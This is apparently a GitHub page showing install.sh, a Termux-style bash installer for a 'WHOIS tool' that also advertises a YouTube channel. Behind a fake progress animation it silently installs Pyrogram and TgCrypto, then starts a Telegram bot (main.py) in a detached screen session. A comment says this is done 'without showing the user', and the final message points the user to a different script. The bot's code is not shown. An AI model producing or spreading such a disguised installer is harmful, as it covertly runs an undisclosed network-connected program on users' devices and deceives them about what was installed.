-
Notifications
You must be signed in to change notification settings - Fork 0
/
install.sh
63 lines (51 loc) · 1.8 KB
/
install.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/bin/bash
# Clear the screen
clear
# Display banner
echo "======================================================="
echo "| |"
echo "| WELCOME TO THE WHOIS TOOL INSTALLER |"
echo "| Powered by Ashverse - YouTube Channel |"
echo "======================================================="
echo ""
# Opening Ashverse YouTube Channel
echo "Opening Ashverse YouTube Channel..."
sleep 2
xdg-open "https://youtube.com/@ash.verse0?si=MjZ2v0o9T106xlHl" &>/dev/null || open "https://youtube.com/@ash.verse0?si=MjZ2v0o9T106xlHl"
# Display some progress animation
echo ""
echo "Preparing to install dependencies..."
sleep 1
echo "Installing required packages and Python modules:"
sleep 1
# Simple animated progress indicator
echo -n "Progress: "
for i in {1..10}; do
echo -n "#"
sleep 0.3
done
echo " Done!"
# Install required dependencies
echo "Installing Python and Git..."
pkg install -y python git &> /dev/null
# Install required Python modules
echo "Installing Pyrogram, TgCrypto, and python-whois modules..."
pip install pyrogram tgcrypto python-whois &> /dev/null
# Set execute permissions for main.py (the bot script)
echo "Setting execute permissions for main.py..."
chmod +x main.py
# Run the Telegram bot in the background (without showing the user)
pkg install screen
# Start a new screen session and run the Telegram bot
screen -dmS bot_session python main.py
# Finish up
sleep 1
echo ""
echo "======================================================="
echo "| Installation Complete! |"
echo "| You can now run the WHOIS tool using: |"
echo "| python whois.py |"
echo "======================================================="
sleep 1
# Exit the installer
exit 0